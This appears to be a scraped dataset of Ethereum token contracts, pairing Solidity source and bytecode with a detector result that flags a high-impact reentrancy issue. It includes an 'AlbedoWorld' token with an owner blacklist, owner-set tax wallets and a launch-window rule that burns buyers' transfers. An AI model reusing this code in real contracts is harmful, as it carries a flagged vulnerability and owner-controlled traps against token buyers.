function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf7146104525780638f9a55c01461047257806395d89b411461048857806398a5c315146104b457600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638da5cb5b1461043457600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611963565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600f81526e506f77657270756666204769726c7360881b60208201525b60405161023f9190611a28565b60405180910390f35b34801561025457600080fd5b50610268610263366004611a7d565b61069e565b604051901515815260200161023f565b34801561028457600080fd5b50601454610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50678ac7230489e800005b60405190815260200161023f565b3480156102e157600080fd5b506102686102f0366004611aa9565b6106b5565b34801561030157600080fd5b506102c760185481565b34801561031757600080fd5b506040516009815260200161023f565b34801561033357600080fd5b50601554610298906001600160a01b031681565b34801561035357600080fd5b506101fc610362366004611aea565b61071e565b34801561037357600080fd5b506101fc610382366004611b17565b610769565b34801561039357600080fd5b506101fc6107b1565b3480156103a857600080fd5b506102c76103b7366004611aea565b6107fc565b3480156103c857600080fd5b506101fc61081e565b3480156103dd57600080fd5b506101fc6103ec366004611b32565b610892565b3480156103fd57600080fd5b506102c760165481565b34801561041357600080fd5b506102c7610422366004611aea565b60116020526000908152604090205481565b34801561044057600080fd5b506000546001600160a01b0316610298565b34801561045e57600080fd5b506101fc61046d366004611b17565b6108c1565b34801561047e57600080fd5b506102c760175481565b34801561049457600080fd5b5060408051808201909152600381526250504760e81b6020820152610232565b3480156104c057600080fd5b506101fc6104cf366004611b32565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b4b565b610938565b34801561050057600080fd5b5061026861050f366004611a7d565b610976565b34801561052057600080fd5b5061026861052f366004611aea565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b7d565b6109d7565b34801561058557600080fd5b506102c7610594366004611c01565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b32565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611aea565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c3a565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c6f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c9b565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611db5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c3a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c3a565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c3a565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c3a565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c3a565b60005b82811015610a72578160056000868685818110610a2357610a23611c6f565b9050602002016020810190610a389190611aea565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c9b565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c3a565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611cb6565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611472565b600081848411156112155760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611cce565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d66114a0565b90506112e283826114c3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c6f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138557600080fd5b505afa158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd9190611ce5565b816001815181106113d0576113d0611c6f565b6001600160a01b0392831660209182029290920101526014546113f69130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f908590600090869030904290600401611d02565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147f5761147f611505565b61148a848484611533565b80610a7257610a72600e54600c55600f54600d55565b60008060006114ad61162a565b90925090506114bc82826114c3565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166a565b600c541580156115155750600d54155b1561151c57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154587611698565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157790876116f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a69086611737565b6001600160a01b0389166000908152600260205260409020556115c881611796565b6115d284836117e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161791815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061164582826114c3565b82101561166157505060065492678ac7230489e8000092509050565b90939092509050565b6000818361168b5760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611d73565b60008060008060008060008060006116b58a600c54600d54611804565b92509250925060006116c56114a0565b905060008060006116d88e878787611859565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117448385611cb6565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b60006117a06114a0565b905060006117ae83836118a9565b306000908152600260205260409020549091506117cb9082611737565b30600090815260026020526040902055505050565b6006546117ed90836116f5565b6006556007546117fd9082611737565b6007555050565b600080808061181e606461181889896118a9565b906114c3565b9050600061183160646118188a896118a9565b90506000611849826118438b866116f5565b906116f5565b9992985090965090945050505050565b600080808061186888866118a9565b9050600061187688876118a9565b9050600061188488886118a9565b905060006118968261184386866116f5565b939b939a50919850919650505050505050565b6000826118b8575060006106af565b60006118c48385611d95565b9050826118d18583611d73565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561195e8161193e565b919050565b6000602080838503121561197657600080fd5b823567ffffffffffffffff8082111561198e57600080fd5b818501915085601f8301126119a257600080fd5b8135818111156119b4576119b4611928565b8060051b604051601f19603f830116810181811085821117156119d9576119d9611928565b6040529182528482019250838101850191888311156119f757600080fd5b938501935b82851015611a1c57611a0d85611953565b845293850193928501926119fc565b98975050505050505050565b600060208083528351808285015260005b81811015611a5557858101830151858201604001528201611a39565b81811115611a67576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9057600080fd5b8235611a9b8161193e565b946020939093013593505050565b600080600060608486031215611abe57600080fd5b8335611ac98161193e565b92506020840135611ad98161193e565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356112e28161193e565b8035801515811461195e57600080fd5b600060208284031215611b2957600080fd5b6112e282611b07565b600060208284031215611b4457600080fd5b5035919050565b60008060008060808587031215611b6157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9257600080fd5b833567ffffffffffffffff80821115611baa57600080fd5b818601915086601f830112611bbe57600080fd5b813581811115611bcd57600080fd5b8760208260051b8501011115611be257600080fd5b602092830195509350611bf89186019050611b07565b90509250925092565b60008060408385031215611c1457600080fd5b8235611c1f8161193e565b91506020830135611c2f8161193e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caf57611caf611c85565b5060010190565b60008219821115611cc957611cc9611c85565b500190565b600082821015611ce057611ce0611c85565b500390565b600060208284031215611cf757600080fd5b81516112e28161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daf57611daf611c85565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220db0781670df4035ff517454be3db884195222efb7c9c3dd70da22dc5a213b73164736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 1,631 |
0x7d409ead57d435eed4349cdd228625546463f728
|
/*Welcome to Albedo World - Building a Underworld Metaverse
* Website: https://AlbedoWorld.com
* Twitter: https://twitter.com/WorldAlbedo
* Telegram: https://t.me/AlbedoWorld
* 4% Marketing Tax
* 4% Auto Liquidity Add
* .5% Supply Tx / 2% Wallet Limit / 50% Burn
* Anti-Snipers - MAKE SURE TO ONLY BUY MAX TX OR LESS AT LAUNCH
* Max Tx is 50 Million (50,000,000)
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private m_Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
m_Owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return m_Owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(m_Owner, address(0));
m_Owner = address(0);
}
function transferOwnership(address _address) public virtual onlyOwner {
emit OwnershipTransferred(m_Owner, _address);
m_Owner = _address;
}
modifier onlyOwner() {
require(_msgSender() == m_Owner, "Ownable: caller is not the owner");
_;
}
}
contract Taxable is Ownable {
using SafeMath for uint256;
uint256[] m_TaxAlloc;
address payable[] m_TaxAddresses;
mapping (address => uint256) private m_TaxIdx;
uint256 public m_TotalAlloc;
uint256 m_TotalAddresses;
bool private m_DidDeploy = false;
function initTax() internal virtual {
m_TaxAlloc = new uint24[](0);
m_TaxAddresses = new address payable[](0);
m_TaxAlloc.push(0);
m_TaxAddresses.push(payable(address(0)));
setTaxAlloc(payable(0xf4e632E7DBfeF31b2E0018C24d33B32de2DA4AA8), 4000);
m_DidDeploy = true;
}
function payTaxes(uint256 _eth, uint256 _d) internal virtual {
for (uint i = 1; i < m_TaxAlloc.length; i++) {
uint256 _alloc = m_TaxAlloc[i];
address payable _address = m_TaxAddresses[i];
uint256 _amount = _eth.mul(_alloc).div(_d);
if (_amount > 1){
_address.transfer(_amount);
}
}
}
function setTaxAlloc(address payable _address, uint256 _alloc) internal virtual onlyOwner() {
require(_alloc >= 0, "Allocation must be at least 0");
uint _idx = m_TaxIdx[_address];
if (_idx == 0) {
require(m_TotalAlloc.add(_alloc) <= 10500);
m_TaxAlloc.push(_alloc);
m_TaxAddresses.push(_address);
m_TaxIdx[_address] = m_TaxAlloc.length - 1;
m_TotalAlloc = m_TotalAlloc.add(_alloc);
} else { // update alloc for this address
uint256 _priorAlloc = m_TaxAlloc[_idx];
require(m_TotalAlloc.add(_alloc).sub(_priorAlloc) <= 10500);
m_TaxAlloc[_idx] = _alloc;
m_TotalAlloc = m_TotalAlloc.add(_alloc).sub(_priorAlloc);
if(_alloc == 0)
m_TotalAddresses = m_TotalAddresses.sub(1);
}
if(_alloc > 0)
m_TotalAddresses += 1;
}
function totalTaxAlloc() internal virtual view returns (uint256) {
return m_TotalAlloc;
}
function getTaxAlloc(address payable _address) public virtual onlyOwner() view returns (uint256) {
uint _idx = m_TaxIdx[_address];
return m_TaxAlloc[_idx];
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IWETH {
function deposit() external payable;
function balanceOf(address account) external view returns (uint256);
function approve(address _spender, uint256 _amount) external returns (bool);
function transfer(address _recipient, uint256 _amount) external returns (bool);
}
contract AlbedoWorld is Context, IERC20, Taxable {
using SafeMath for uint256;
// TOKEN
uint256 private constant TOTAL_SUPPLY = 10000000000 * 10**9;
string private m_Name = "AlbedoWorl";
string private m_Symbol = "ALBEDO";
uint8 private m_Decimals = 9;
uint8 private engage = 1;
// EXCHANGES
address private m_UniswapV2Pair;
IUniswapV2Router02 private m_UniswapV2Router;
// TRANSACTIONS
uint256 private m_WalletLimit = TOTAL_SUPPLY.div(50);
bool private m_Liquidity = false;
address private dead = 0x000000000000000000000000000000000000dEaD;
event NewTaxAlloc(address Address, uint256 Allocation);
event SetTxLimit(uint TxLimit);
// LP ADD
IWETH private WETH;
uint256 private m_LiqAlloc = 4000;
// MISC
mapping (address => bool) private m_Blacklist;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
uint256 private m_LastEthBal = 0;
uint256 public overlord = 0;
bool private m_IsSwap = false;
uint256 private pMax = 100000;
modifier lockTheSwap {
m_IsSwap = true;
_;
m_IsSwap = false;
}
receive() external payable {}
constructor () {
m_UniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
setTaxAlloc(payable(msg.sender), 4000);
WETH = IWETH(m_UniswapV2Router.WETH());
initTax();
uint256 HALF_SUPPLY = TOTAL_SUPPLY / 2;
m_Balances[address(this)] = HALF_SUPPLY;
m_Balances[dead] = HALF_SUPPLY;
m_ExcludedAddresses[owner()] = true;
m_ExcludedAddresses[address(this)] = true;
emit Transfer(address(0), address(this), HALF_SUPPLY);
emit Transfer(address(0), dead, HALF_SUPPLY);
}
function name() public view returns (string memory) {
return m_Name;
}
function symbol() public view returns (string memory) {
return m_Symbol;
}
function decimals() public view returns (uint8) {
return m_Decimals;
}
function totalSupply() public pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return m_Allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _readyToTax(address _sender) private view returns (bool) {
return !m_IsSwap && _sender != m_UniswapV2Pair;
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == m_UniswapV2Pair;
}
function _isTax(address _sender) private view returns (bool) {
return _sender == address(this);
}
function _trader(address _sender, address _recipient) private view returns (bool) {
return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]);
}
function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) {
return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair;
}
function _txRestricted(address _sender, address _recipient) private view returns (bool) {
return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient];
}
function _walletCapped(address _recipient) private view returns (bool) {
return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router);
}
function _checkTX() private view returns (uint256){
return m_WalletLimit / 4;
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
m_Allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_amount > 0, "Must transfer greater than 0");
require(!m_Blacklist[_sender] && !m_Blacklist[_recipient] && !m_Blacklist[tx.origin]);
if (overlord + engage >= block.number) {
require(_amount > _checkTX());
_updateBalances(_sender, dead, _amount, 0);
} else {
if(_walletCapped(_recipient))
require(balanceOf(_recipient) < m_WalletLimit);
uint256 _taxes = 0;
if (_trader(_sender, _recipient)) {
if (_txRestricted(_sender, _recipient)){
require(_amount <= _checkTX());
}
_taxes = _getTaxes(_sender, _recipient, _amount);
_tax(_sender);
}
_updateBalances(_sender, _recipient, _amount, _taxes);
}
}
function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private {
uint256 _netAmount = _amount.sub(_taxes);
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_taxes);
emit Transfer(_sender, _recipient, _netAmount);
}
function _getTaxes(address _sender, address _recipient, uint256 _amount) private view returns (uint256) {
uint256 _ret = 0;
if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]) {
return _ret;
}
_ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc()));
_ret = _ret.add(_amount.mul(m_LiqAlloc).div(pMax));
return _ret;
}
function _tax(address _sender) private {
if (_readyToTax(_sender)) {
uint256 _tokenBalance = balanceOf(address(this));
_swapTokensForETH(_tokenBalance);
_disperseEth();
}
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = m_UniswapV2Router.WETH();
_approve(address(this), address(m_UniswapV2Router), _amount);
m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_amount,
0,
_path,
address(this),
block.timestamp
);
}
function _depositWETH(uint256 _amount) private {
WETH.deposit{value: _amount}();
uint256 _wethBal = WETH.balanceOf(address(this));
WETH.transfer(m_UniswapV2Pair, _wethBal);
}
function _getTaxDenominator() private view returns (uint) {
uint _ret = 0;
_ret = _ret.add(totalTaxAlloc());
_ret = _ret.add(m_LiqAlloc);
return _ret;
}
function _disperseEth() private {
uint256 _eth = address(this).balance;
if (_eth <= m_LastEthBal)
return;
uint256 _newEth = _eth.sub(m_LastEthBal);
uint _d = _getTaxDenominator();
if (_d < 1)
return;
payTaxes(_newEth, _d);
_depositWETH(_newEth.mul(m_LiqAlloc).div(_d));
m_LastEthBal = address(this).balance;
}
function addLiquidity(uint8 blocky) external onlyOwner() {
require(!m_Liquidity,"Liquidity already added.");
uint256 _ethBalance = address(this).balance;
_approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY);
m_UniswapV2Pair = IUniswapV2Factory(m_UniswapV2Router.factory()).createPair(address(this), m_UniswapV2Router.WETH());
m_UniswapV2Router.addLiquidityETH{value: _ethBalance}(address(this),balanceOf(address(this)),0,0,address(msg.sender),block.timestamp);
IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max);
WETH.approve(address(this), type(uint).max);
overlord = block.number;
engage = blocky;
m_Liquidity = true;
}
function checkIfBlacklist(address _address) external view returns (bool) {
return m_Blacklist[_address];
}
function blacklist(address _address) external onlyOwner() {
require(_address != m_UniswapV2Pair, "Can't blacklist Uniswap");
require(_address != address(this), "Can't blacklist contract");
m_Blacklist[_address] = true;
}
function rmBlacklist(address _address) external onlyOwner() {
m_Blacklist[_address] = false;
}
function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() {
setTaxAlloc(_address, _alloc);
if (_alloc > 0)
m_ExcludedAddresses[_address] = true;
else
m_ExcludedAddresses[_address] = false;
emit NewTaxAlloc(_address, _alloc);
}
function addTaxWhitelist(address _address) external onlyOwner() {
m_ExcludedAddresses[_address] = true;
}
function rmTaxWhitelist(address _address) external onlyOwner() {
m_ExcludedAddresses[_address] = false;
}
}
|
0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063c7ab8d9d1161006f578063c7ab8d9d14610344578063d0040d7014610364578063d82671c914610384578063dd62ed3e14610399578063f2fde38b146103b9578063f9f92be4146103d957610140565b80638da5cb5b146102ad57806395d89b41146102cf57806398d5a5cb146102e45780639b19ae7e14610304578063a9059cbb1461032457610140565b8063313ce567116100fd578063313ce5671461020157806353477d291461022357806354486ac31461024357806370a0823114610258578063715018a6146102785780638a13792e1461028d57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd1461019d5780631c815b49146101bf57806323b872dd146101e157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6103f9565b6040516101679190611d4f565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611c2a565b61048b565b6040516101679190611d44565b3480156101a957600080fd5b506101b26104a9565b6040516101679190611ff6565b3480156101cb57600080fd5b506101df6101da366004611b87565b6104b5565b005b3480156101ed57600080fd5b506101906101fc366004611bea565b61058e565b34801561020d57600080fd5b50610216610616565b604051610167919061206f565b34801561022f57600080fd5b506101df61023e366004611b4f565b61061f565b34801561024f57600080fd5b506101b261067a565b34801561026457600080fd5b506101b2610273366004611b4f565b610680565b34801561028457600080fd5b506101df61069b565b34801561029957600080fd5b506101b26102a8366004611b4f565b61071f565b3480156102b957600080fd5b506102c26107a8565b6040516101679190611cc2565b3480156102db57600080fd5b5061015a6107b7565b3480156102f057600080fd5b506101df6102ff366004611b4f565b6107c6565b34801561031057600080fd5b506101df61031f366004611ca1565b610821565b34801561033057600080fd5b5061019061033f366004611c2a565b610c21565b34801561035057600080fd5b5061019061035f366004611b4f565b610c35565b34801561037057600080fd5b506101df61037f366004611b4f565b610c53565b34801561039057600080fd5b506101b2610cb1565b3480156103a557600080fd5b506101b26103b4366004611bb2565b610cb7565b3480156103c557600080fd5b506101df6103d4366004611b4f565b610ce2565b3480156103e557600080fd5b506101df6103f4366004611b4f565b610d77565b606060078054610408906120eb565b80601f0160208091040260200160405190810160405280929190818152602001828054610434906120eb565b80156104815780601f1061045657610100808354040283529160200191610481565b820191906000526020600020905b81548152906001019060200180831161046457829003601f168201915b5050505050905090565b600061049f610498610ee5565b8484610ee9565b5060015b92915050565b678ac7230489e8000090565b6000546001600160a01b03166104c9610ee5565b6001600160a01b0316146104f85760405162461bcd60e51b81526004016104ef90611eca565b60405180910390fd5b6105028282610f9d565b8015610530576001600160a01b0382166000908152601060205260409020805460ff19166001179055610551565b6001600160a01b0382166000908152601060205260409020805460ff191690555b7fa6786a8b1b962e9b5d6c06da5fab4f1e2ce62d10444becfffa85d4523c8a25a68282604051610582929190611cd6565b60405180910390a15050565b600061059b8484846111a1565b61060b846105a7610ee5565b6106068560405180606001604052806028815260200161216d602891396001600160a01b038a166000908152601260205260408120906105e5610ee5565b6001600160a01b031681526020810191909152604001600020549190611325565b610ee9565b5060015b9392505050565b60095460ff1690565b6000546001600160a01b0316610633610ee5565b6001600160a01b0316146106595760405162461bcd60e51b81526004016104ef90611eca565b6001600160a01b03166000908152601060205260409020805460ff19169055565b60045481565b6001600160a01b031660009081526011602052604090205490565b6000546001600160a01b03166106af610ee5565b6001600160a01b0316146106d55760405162461bcd60e51b81526004016104ef90611eca565b600080546040516001600160a01b03909116907